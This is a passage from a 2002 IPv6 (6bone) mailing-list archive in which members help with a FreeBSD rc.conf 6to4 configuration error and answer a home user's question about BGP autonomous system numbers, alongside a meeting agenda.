fe80::1%lo0 prefixlen 64 scopeid 0x3<BR>Mar 21 15:19:14 ruby kernel: =
inet=20
127.0.0.1 netmask 0xff000000<BR>Mar 21 15:19:15 ruby kernel: add net =
default:=20
gateway 203.1.96.5<BR>Mar 21 15:19:15 ruby kernel: Additional routing=20
options:<BR>Mar 21 15:19:15 ruby kernel: Routing daemons:<BR>Mar 21 =
15:19:15=20
ruby kernel: Doing IPv6 network setup:<BR>Mar 21 15:19:15 ruby kernel: =
add net=20
::ffff:0.0.0.0: gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net =
::0.0.0.0:=20
gateway ::1<BR>Mar 21 15:19:15 ruby kernel: =
net.inet6.ip6.forwarding:<BR>Mar 21=20
15:19:15 ruby kernel: 0<BR>Mar 21 15:19:15 ruby kernel: -&gt;<BR>Mar 21 =
15:19:15=20
ruby kernel: 1<BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 15:19:15 ruby =
kernel:=20
net.inet6.ip6.accept_rtadv:<BR>Mar 21 15:19:15 ruby kernel: 0<BR>Mar 21 =
15:19:15=20
ruby kernel: -&gt;<BR>Mar 21 15:19:15 ruby kernel: 0<BR>Mar 21 15:19:15 =
ruby=20
kernel:<BR>Mar 21 15:19:15 ruby kernel: ifconfig:<BR>Mar 21 15:19:15 =
ruby=20
kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value</DIV>
<DIV>&nbsp;</DIV>
<DIV>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^^^^^^</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 15:19:15 ruby kernel: =
ed0:=20
flags=3D8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; mtu =
1500<BR>Mar 21=20
15:19:15 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen 64 =
scopeid=20
0x1<BR>Mar 21 15:19:15 ruby kernel: inet6 2002:cb01:6006:: prefixlen 64=20
anycast<BR>Mar 21 15:19:15 ruby kernel: lp0:=20
flags=3D8851&lt;UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST&gt; mtu =
1500<BR>Mar 21=20
15:19:15 ruby kernel: ifconfig:<BR>Mar 21 15:19:15 ruby kernel: lp0 has =
no inet6=20
interface address!<BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 15:19:15 =
ruby=20
kernel: lo0: flags=3D8049&lt;UP,LOOPBACK,RUNNING,MULTICAST&gt; mtu =
16384<BR>Mar 21=20
15:19:15 ruby kernel: inet6 ::1 prefixlen 128<BR>Mar 21 15:19:15 ruby =
kernel:=20
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3<BR>Mar 21 15:19:15 ruby =
kernel: add=20
net 2002:e000::: gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net=20
2002:7f00::: gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net =
2002:0000:::=20
gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net 2002:ff00::: gateway =

::1<BR>Mar 21 15:19:15 ruby kernel: add net fe80::: gateway ::1<BR>Mar =
21=20
15:19:15 ruby kernel: add net ff02::: gateway ::1<BR>Mar 21 15:19:15 =
ruby=20
kernel: add net default: gateway 2002:cdb2:5ac2::1<BR>Mar 21 15:19:15 =
ruby=20
kernel: IPv4 mapped IPv6 address support=3DYES<BR>Mar 21 15:19:15 ruby =
kernel:=20
.<BR>Mar 21 15:19:15 ruby kernel: Additional daemons:<BR>Mar 21 15:19:15 =
ruby=20
kernel: syslogd</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0203_01C1D0EE.AA73BC70--


From 6bone-owner  Thu Mar 21 05:20:10 2002
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Date: Thu, 21 Mar 2002 08:08:45 -0500
From: Matthew Drobnak <mdrobnak@optonline.net>
Subject: Re: BGP4+ and ASNs
To: Jesper Skriver <jesper@skriver.dk>
Cc: 6bone@ISI.EDU
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 <3C9950A9.1050803@optonline.net> <20020321062952.A336@skriver.dk>
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So you're saying the ASNs for IPv4 are the same ones used for IPv6? If 
that's the case then that's quite understandable.

-Matthew Drobnak

Jesper Skriver wrote:

> On Wed, Mar 20, 2002 at 10:16:57PM -0500, Matthew Drobnak wrote:
> 
>>Hello all, I am new to this list, but have had an IPv6 tunnel for quite 
>>a while, please bear with me...
>>
>>I have a /48 with FreeNet6. I would like to set up a few more tunnels, 
>>say one with Hurricane Electric (they were pretty good, but didnt have 
>>enough addresses for me, as I needed to subnet because of multiple 
>>interfaces), and would like to set up BGP4+ to go about routing in the 
>>most efficient manner. However, I do not have an ASN (Autonomous System 
>>Number), and I'm not quite sure how to get one. The thing is, I'm not 
>>that big in terms of like a corporation or anything. I'm your 
>>(no-so-average) user at home. However, I do have a few IPv6 tunnels to 
>>some of my friends, as well as to my place of employment. Also, I'm 
>>kinda new to BGP, so any tips would be appreciated.
>>
> 
> You should not get a AS number as a home user, it's a limited
> resource.
> 
> /Jesper
> 
> 




From 6bone-owner  Thu Mar 21 05:47:59 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Matthew Drobnak <mdrobnak@optonline.net>
cc: 6bone@ISI.EDU
Subject: Re: BGP4+ and ASNs
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Use private AS numbers.

On Wed, 20 Mar 2002, Matthew Drobnak wrote:

> Hello all, I am new to this list, but have had an IPv6 tunnel for quite 
> a while, please bear with me...
> 
> I have a /48 with FreeNet6. I would like to set up a few more tunnels, 
> say one with Hurricane Electric (they were pretty good, but didnt have 
> enough addresses for me, as I needed to subnet because of multiple 
> interfaces), and would like to set up BGP4+ to go about routing in the 
> most efficient manner. However, I do not have an ASN (Autonomous System 
> Number), and I'm not quite sure how to get one. The thing is, I'm not 
> that big in terms of like a corporation or anything. I'm your 
> (no-so-average) user at home. However, I do have a few IPv6 tunnels to 
> some of my friends, as well as to my place of employment. Also, I'm 
> kinda new to BGP, so any tips would be appreciated.
> 
> Thanks for your time,
> 
> -Matthew Drobnak
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Mar 21 05:50:44 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Robert <robert@quantum-radio.net.au>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: could someone check my rc.conf please? a small error/warning
 there somewhere
In-Reply-To: <020601c1d09a$de145520$1a6001cb@chalmers.com.au>
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On Thu, 21 Mar 2002, Robert wrote:

> I have something ? out of place here, because it's giving the error on startup shown below this config file. Apart from that one error? I think everything else is ok?
> Thanks a lot for any help, I appreciate it. 

Please read through /etc/defaults/rc.conf and possibly 
/etc/rc.network{,6}: your config is based on some horrible misconceptions 
on configuring.

(Figuring things out yourself is IMO the best way to learn!)

> ifconfig_lo0="inet 127.0.0.1"
> ifconfig_ed0="inet 203.1.96.6  netmask 255.255.255.0"
> ifconfig_stf0="inet6 2002:cb01:6006::1 prefixlen 16 alias"
> hostname="ruby.chalmers.com.au"
> named_enable="YES"
> 
> defaultrouter="203.1.96.5"
> static_routes=""
> gateway_enable="NO"
> router_enable="NO"
> mrouted_enable="NO"
> inetd_enable=YES
> tcp_extensions="YES"
> 
> ### IPv6 options: ###
> ipv6_enable="YES"               
> ipv6_network_interfaces="auto"  
> ipv6_gateway_enable="YES"       
> ipv6_prefix_ed0="2002:cb01:6006"
> ipv6_static_routes="default"
> ipv6_route_default="default 2002:cdb2:5ac2::1"
> stf_interface_ipv4addr="203.1.96.6"
> -------------------------------------------------------------------------
> 
> error from startup 
> Mar 21 15:19:15 ruby kernel: ifconfig:
> Mar 21 15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value
> 
> 
> ------------------------------------------------------------------------
> output of startup.
> 
> Mar 21 15:19:14 ruby kernel: ed0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
> Mar 21 15:19:14 ruby kernel: inet 203.1.96.6 netmask 0xffffff00 broadcast 203.1.96.255
> Mar 21 15:19:14 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen 64 tentative scopeid 0x1
> Mar 21 15:19:14 ruby kernel: ether 00:40:05:4e:a9:82
> Mar 21 15:19:14 ruby kernel: lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
> Mar 21 15:19:14 ruby kernel: inet6 ::1 prefixlen 128
> Mar 21 15:19:14 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
> Mar 21 15:19:14 ruby kernel: inet 127.0.0.1 netmask 0xff000000
> Mar 21 15:19:15 ruby kernel: add net default: gateway 203.1.96.5
> Mar 21 15:19:15 ruby kernel: Additional routing options:
> Mar 21 15:19:15 ruby kernel: Routing daemons:
> Mar 21 15:19:15 ruby kernel: Doing IPv6 network setup:
> Mar 21 15:19:15 ruby kernel: add net ::ffff:0.0.0.0: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net ::0.0.0.0: gateway ::1
> Mar 21 15:19:15 ruby kernel: net.inet6.ip6.forwarding:
> Mar 21 15:19:15 ruby kernel: 0
> Mar 21 15:19:15 ruby kernel: ->
> Mar 21 15:19:15 ruby kernel: 1
> Mar 21 15:19:15 ruby kernel:
> Mar 21 15:19:15 ruby kernel: net.inet6.ip6.accept_rtadv:
> Mar 21 15:19:15 ruby kernel: 0
> Mar 21 15:19:15 ruby kernel: ->
> Mar 21 15:19:15 ruby kernel: 0
> Mar 21 15:19:15 ruby kernel:
> Mar 21 15:19:15 ruby kernel: ifconfig:
> Mar 21 15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value
> 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> 
> 
> Mar 21 15:19:15 ruby kernel:
> Mar 21 15:19:15 ruby kernel: ed0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
> Mar 21 15:19:15 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen 64 scopeid 0x1
> Mar 21 15:19:15 ruby kernel: inet6 2002:cb01:6006:: prefixlen 64 anycast
> Mar 21 15:19:15 ruby kernel: lp0: flags=8851<UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST> mtu 1500
> Mar 21 15:19:15 ruby kernel: ifconfig:
> Mar 21 15:19:15 ruby kernel: lp0 has no inet6 interface address!
> Mar 21 15:19:15 ruby kernel:
> Mar 21 15:19:15 ruby kernel: lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
> Mar 21 15:19:15 ruby kernel: inet6 ::1 prefixlen 128
> Mar 21 15:19:15 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
> Mar 21 15:19:15 ruby kernel: add net 2002:e000::: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net 2002:7f00::: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net 2002:0000::: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net 2002:ff00::: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net fe80::: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net ff02::: gateway ::1
> Mar 21 15:19:15 ruby kernel: add net default: gateway 2002:cdb2:5ac2::1
> Mar 21 15:19:15 ruby kernel: IPv4 mapped IPv6 address support=YES
> Mar 21 15:19:15 ruby kernel: .
> Mar 21 15:19:15 ruby kernel: Additional daemons:
> Mar 21 15:19:15 ruby kernel: syslogd
> 
> 
> 
> 
> 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Mar 21 06:24:07 2002
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From: Jesper Skriver <jesper@skriver.dk>
To: Matthew Drobnak <mdrobnak@optonline.net>
Cc: 6bone@ISI.EDU
Subject: Re: BGP4+ and ASNs
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References: <018901c1d073$1ae8ded0$1a6001cb@chalmers.com.au> <3C9950A9.1050803@optonline.net> <20020321062952.A336@skriver.dk> <3C99DB5D.7030801@optonline.net>
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On Thu, Mar 21, 2002 at 08:08:45AM -0500, Matthew Drobnak wrote:
> So you're saying the ASNs for IPv4 are the same ones used for IPv6?

Yes

> If that's the case then that's quite understandable.

/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Work:    Network manager   @ AS3292 (Tele Danmark DataNetworks)
Private: FreeBSD committer @ AS2109 (A much smaller network ;-)

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From 6bone-owner  Thu Mar 21 06:27:41 2002
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Date: Thu, 21 Mar 2002 06:27:54 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: lunchtime 6bone meeting today, 11:45 in Salon D after IPv6wg
  meeting
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6bone Folk,

The 6bone meeting in Minneapolis will be during lunchtime Thursday from 
11:45am to 12:45pm, just after the IPv6wg meeting that ends at 11:30, using 
the same room, Salon D. The agenda is below.


Thanks,

Bob

===
Agenda:

pTLA restructuring and policy changes, Fink - 15-20 mins
<from email discussions on 6bone list>

"DFZ, pTLAs and the 6bone" - Michel Py, 10-15 mins
<http://arneill-py.sacramento.ca.us/ipv6mh/ietf53.ppt>
<http://arneill-py.sacramento.ca.us/ipv6mh/ietf53/index.htm>

"draft-savola-ipv6-127-prefixlen-01.txt", Pekka Savola - 5-10 mins
<http://www.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-01.txt>

status report on the current RPSLng work, Florent Parent - 5-10 mins

-end


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From: "Pedro Goncalves" <pgoncalves@net.telepac.pt>
To: "Robert" <robert@quantum-radio.net.au>, "6bone" <6bone@ISI.EDU>
Subject: RE: could someone check my rc.conf please? a small error/warning there somewhere
Date: Thu, 21 Mar 2002 20:00:36 -0000
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Hello Robert

Assuming that you have a FreeBSD 4.x, heres the sample IPv6 option that i
have on my /etc/default/rc.conf on nasca.ipv6.telepac.pt.

Hope it helps...

ifconfig_fxp0_alias0="inet6 3ffe:3102:ffff:1::3 prefixlen 64" # My IPv6 IP
address
### IPv6 options: ###
ipv6_enable="YES"
ipv6_network_interfaces="fxp0"
ipv6_static_routes=""
ipv6_gateway_enable="NO"
ipv6_router_enable="NO"
ipv6_router="/usr/sbin/route6d"
ipv6_router_flags=""
#ipv6_network_interfaces="ed0 ep0"
#ipv6_prefix_ed0="fec0:0000:0000:0001 fec0:0000:0000:0002"  # Examples for
rtr.
#ipv6_prefix_ep0="fec0:0000:0000:0003 fec0:0000:0000:0004"  # Examples for
rtr.
ipv6_default_interface=""
prefixcmd_enable="YES"
rtadvd_enable="YES"
mroute6d_enable="NO"
mroute6d_program="/usr/sbin/pim6dd"
mroute6d_flags=""
gif_interfaces="NO"
#gif_interfaces="gif0 gif1"
#gifconfig_gif0="10.1.1.1 10.1.2.1"
#gifconfig_gif1="10.1.1.2 10.1.2.2"
stf_interface_ipv4addr=""
stf_interface_ipv4plen="0"
stf_interface_ipv6_ifid="0:0:0:1"
stf_interface_ipv6_slaid="0000"

Best Regards

Pedro Goncalves
  -----Original Message-----
  From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Robert
  Sent: quinta-feira, 21 de Março de 2002 5:40
  To: 6bone
  Subject: could someone check my rc.conf please? a small error/warning
there somewhere


  I have something ? out of place here, because it's giving the error on
startup shown below this config file. Apart from that one error? I think
everything else is ok?
  Thanks a lot for any help, I appreciate it.
  Robert

  # -- sysinstall generated deltas -- #
  ifconfig_lo0="inet 127.0.0.1"
  ifconfig_ed0="inet 203.1.96.6  netmask 255.255.255.0"
  ifconfig_stf0="inet6 2002:cb01:6006::1 prefixlen 16 alias"
  hostname="ruby.chalmers.com.au"
  named_enable="YES"

  defaultrouter="203.1.96.5"
  static_routes=""
  gateway_enable="NO"
  router_enable="NO"
  mrouted_enable="NO"
  inetd_enable=YES
  tcp_extensions="YES"

  ### IPv6 options: ###
  ipv6_enable="YES"
  ipv6_network_interfaces="auto"
  ipv6_gateway_enable="YES"
  ipv6_prefix_ed0="2002:cb01:6006"
  ipv6_static_routes="default"
  ipv6_route_default="default 2002:cdb2:5ac2::1"
  stf_interface_ipv4addr="203.1.96.6"
  -------------------------------------------------------------------------

  error from startup
  Mar 21 15:19:15 ruby kernel: ifconfig:
  Mar 21 15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value


  ------------------------------------------------------------------------
  output of startup.

  Mar 21 15:19:14 ruby kernel: ed0:
flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
  Mar 21 15:19:14 ruby kernel: inet 203.1.96.6 netmask 0xffffff00 broadcast
203.1.96.255
  Mar 21 15:19:14 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen
64 tentative scopeid 0x1
  Mar 21 15:19:14 ruby kernel: ether 00:40:05:4e:a9:82
  Mar 21 15:19:14 ruby kernel: lo0:
flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
  Mar 21 15:19:14 ruby kernel: inet6 ::1 prefixlen 128
  Mar 21 15:19:14 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
  Mar 21 15:19:14 ruby kernel: inet 127.0.0.1 netmask 0xff000000
  Mar 21 15:19:15 ruby kernel: add net default: gateway 203.1.96.5
  Mar 21 15:19:15 ruby kernel: Additional routing options:
  Mar 21 15:19:15 ruby kernel: Routing daemons:
  Mar 21 15:19:15 ruby kernel: Doing IPv6 network setup:
  Mar 21 15:19:15 ruby kernel: add net ::ffff:0.0.0.0: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net ::0.0.0.0: gateway ::1
  Mar 21 15:19:15 ruby kernel: net.inet6.ip6.forwarding:
  Mar 21 15:19:15 ruby kernel: 0
  Mar 21 15:19:15 ruby kernel: ->
  Mar 21 15:19:15 ruby kernel: 1
  Mar 21 15:19:15 ruby kernel:
  Mar 21 15:19:15 ruby kernel: net.inet6.ip6.accept_rtadv:
  Mar 21 15:19:15 ruby kernel: 0
  Mar 21 15:19:15 ruby kernel: ->
  Mar 21 15:19:15 ruby kernel: 0
  Mar 21 15:19:15 ruby kernel:
  Mar 21 15:19:15 ruby kernel: ifconfig:
  Mar 21 15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad value


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
^^^



  Mar 21 15:19:15 ruby kernel:
  Mar 21 15:19:15 ruby kernel: ed0:
flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
  Mar 21 15:19:15 ruby kernel: inet6 fe80::240:5ff:fe4e:a982%ed0 prefixlen
64 scopeid 0x1
  Mar 21 15:19:15 ruby kernel: inet6 2002:cb01:6006:: prefixlen 64 anycast
  Mar 21 15:19:15 ruby kernel: lp0:
flags=8851<UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST> mtu 1500
  Mar 21 15:19:15 ruby kernel: ifconfig:
  Mar 21 15:19:15 ruby kernel: lp0 has no inet6 interface address!
  Mar 21 15:19:15 ruby kernel:
  Mar 21 15:19:15 ruby kernel: lo0:
flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
  Mar 21 15:19:15 ruby kernel: inet6 ::1 prefixlen 128
  Mar 21 15:19:15 ruby kernel: inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
  Mar 21 15:19:15 ruby kernel: add net 2002:e000::: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net 2002:7f00::: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net 2002:0000::: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net 2002:ff00::: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net fe80::: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net ff02::: gateway ::1
  Mar 21 15:19:15 ruby kernel: add net default: gateway 2002:cdb2:5ac2::1
  Mar 21 15:19:15 ruby kernel: IPv4 mapped IPv6 address support=YES
  Mar 21 15:19:15 ruby kernel: .
  Mar 21 15:19:15 ruby kernel: Additional daemons:
  Mar 21 15:19:15 ruby kernel: syslogd






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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =
size=3D2>Hello=20
Robert</FONT></SPAN></DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2>Assuming that you have a FreeBSD 4.x, heres the sample =
IPv6&nbsp;option=20
that i have on my /etc/default/rc.conf on=20
nasca.ipv6.telepac.pt.</FONT></SPAN></DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =
size=3D2>Hope=20
it helps...</FONT></SPAN></DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2>ifconfig_fxp0_alias0=3D"inet6 3ffe:3102:ffff:1::3 prefixlen 64" =
# My IPv6=20
IP address<BR>### IPv6 options: ###<BR>ipv6_enable=3D"YES"=20
<BR>ipv6_network_interfaces=3D"fxp0"<BR>ipv6_static_routes=3D""<BR>ipv6_g=
ateway_enable=3D"NO"<BR>ipv6_router_enable=3D"NO"<BR>ipv6_router=3D"/usr/=
sbin/route6d"<BR>ipv6_router_flags=3D""<BR>#ipv6_network_interfaces=3D"ed=
0=20
ep0"<BR>#ipv6_prefix_ed0=3D"fec0:0000:0000:0001 =
fec0:0000:0000:0002"&nbsp; #=20
Examples for rtr.<BR>#ipv6_prefix_ep0=3D"fec0:0000:0000:0003=20
fec0:0000:0000:0004"&nbsp; # Examples for=20
rtr.<BR>ipv6_default_interface=3D""<BR>prefixcmd_enable=3D"YES"<BR>rtadvd=
_enable=3D"YES"<BR>mroute6d_enable=3D"NO"<BR>mroute6d_program=3D"/usr/sbi=
n/pim6dd"<BR>mroute6d_flags=3D""=20
<BR>gif_interfaces=3D"NO"<BR>#gif_interfaces=3D"gif0=20
gif1"<BR>#gifconfig_gif0=3D"10.1.1.1 =
10.1.2.1"<BR>#gifconfig_gif1=3D"10.1.1.2=20
10.1.2.2"<BR>stf_interface_ipv4addr=3D""<BR>stf_interface_ipv4plen=3D"0"<=
BR>stf_interface_ipv6_ifid=3D"0:0:0:1"<BR>stf_interface_ipv6_slaid=3D"000=
0"</FONT></SPAN></DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =
size=3D2>Best=20
Regards</FONT></SPAN></DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D050085119-21032002><FONT face=3DArial color=3D#0000ff =
size=3D2>Pedro=20
Goncalves</FONT></SPAN></DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
owner-6bone@ISI.EDU=20
  [mailto:owner-6bone@ISI.EDU]<B>On Behalf Of </B>Robert<BR><B>Sent:</B> =

  quinta-feira, 21 de Mar=E7o de 2002 5:40<BR><B>To:</B> =
6bone<BR><B>Subject:</B>=20
  could someone check my rc.conf please? a small error/warning there=20
  somewhere<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>I have something ? out of place here, =
because=20
  it's giving the error on startup shown below this config file. Apart =
from that=20
  one error? I think everything else is ok?</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Thanks a lot for any help, I =
appreciate it.=20
  </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Robert</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2># -- sysinstall generated deltas --=20
  #<BR>ifconfig_lo0=3D"inet 127.0.0.1"<BR>ifconfig_ed0=3D"inet =
203.1.96.6&nbsp;=20
  netmask 255.255.255.0"<BR>ifconfig_stf0=3D"inet6 2002:cb01:6006::1 =
prefixlen 16=20
  alias"<BR>hostname=3D"ruby.chalmers.com.au"</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>named_enable=3D"YES"</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>defaultrouter=3D"203.1.96.5"<BR>static_routes=3D""<BR>gateway_en=
able=3D"NO"<BR>router_enable=3D"NO"<BR>mrouted_enable=3D"NO"<BR>inetd_ena=
ble=3DYES<BR>tcp_extensions=3D"YES"<BR></FONT><FONT=20
  face=3DArial size=3D2><BR>### IPv6 options:=20
  =
###<BR>ipv6_enable=3D"YES"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  <BR>ipv6_network_interfaces=3D"auto"&nbsp;=20
  <BR>ipv6_gateway_enable=3D"YES"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  <BR>ipv6_prefix_ed0=3D"2002:cb01:6006"</FONT></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>ipv6_static_routes=3D"default"<BR>ipv6_route_default=3D"default =

  =
2002:cdb2:5ac2::1"<BR>stf_interface_ipv4addr=3D"203.1.96.6"</FONT></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>----------------------------------------------------------------=
---------</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>error from startup </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Mar 21 15:19:15 ruby kernel: =
ifconfig:<BR>Mar 21=20
  15:19:15 ruby kernel: 2002:cb01:6006:240:5ff:fe4e:a982: bad =
value</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  =
<DIV>--------------------------------------------------------------------=
----</DIV>
  <DIV>output of startup.</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Mar 21 15:19:14 ruby kernel: ed0:=20
  flags=3D8843&lt;UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST&gt; mtu =
1500<BR>Mar 21=20
  15:19:14 ruby kernel: inet 203.1.96.6 netmask 0xffffff00 broadcast=20
  203.1.96.255<BR>Mar 21 15:19:14 ruby kernel: inet6 =
fe80::240:5ff:fe4e:a982%ed0=20
  prefixlen 64 tentative scopeid 0x1<BR>Mar 21 15:19:14 ruby kernel: =
ether=20
  00:40:05:4e:a9:82<BR>Mar 21 15:19:14 ruby kernel: lo0:=20
  flags=3D8049&lt;UP,LOOPBACK,RUNNING,MULTICAST&gt; mtu 16384<BR>Mar 21 =
15:19:14=20
  ruby kernel: inet6 ::1 prefixlen 128<BR>Mar 21 15:19:14 ruby kernel: =
inet6=20
  fe80::1%lo0 prefixlen 64 scopeid 0x3<BR>Mar 21 15:19:14 ruby kernel: =
inet=20
  127.0.0.1 netmask 0xff000000<BR>Mar 21 15:19:15 ruby kernel: add net =
default:=20
  gateway 203.1.96.5<BR>Mar 21 15:19:15 ruby kernel: Additional routing=20
  options:<BR>Mar 21 15:19:15 ruby kernel: Routing daemons:<BR>Mar 21 =
15:19:15=20
  ruby kernel: Doing IPv6 network setup:<BR>Mar 21 15:19:15 ruby kernel: =
add net=20
  ::ffff:0.0.0.0: gateway ::1<BR>Mar 21 15:19:15 ruby kernel: add net =
::0.0.0.0:=20
  gateway ::1<BR>Mar 21 15:19:15 ruby kernel: =
net.inet6.ip6.forwarding:<BR>Mar=20
  21 15:19:15 ruby kernel: 0<BR>Mar 21 15:19:15 ruby kernel: =
-&gt;<BR>Mar 21=20
  15:19:15 ruby kernel: 1<BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 =
15:19:15=20
  ruby kernel: net.inet6.ip6.accept_rtadv:<BR>Mar 21 15:19:15 ruby =
kernel:=20
  0<BR>Mar 21 15:19:15 ruby kernel: -&gt;<BR>Mar 21 15:19:15 ruby =
kernel:=20
  0<BR>Mar 21 15:19:15 ruby kernel:<BR>Mar 21 15:19:15 ruby kernel:=20
  ifconfig:<BR>Mar 21 15:19:15 ruby kernel: =
2002:cb01:6006:240:5ff:fe4e:a982:=20
  bad value</DIV>
  <DIV>&nbsp;</DIV>
  =
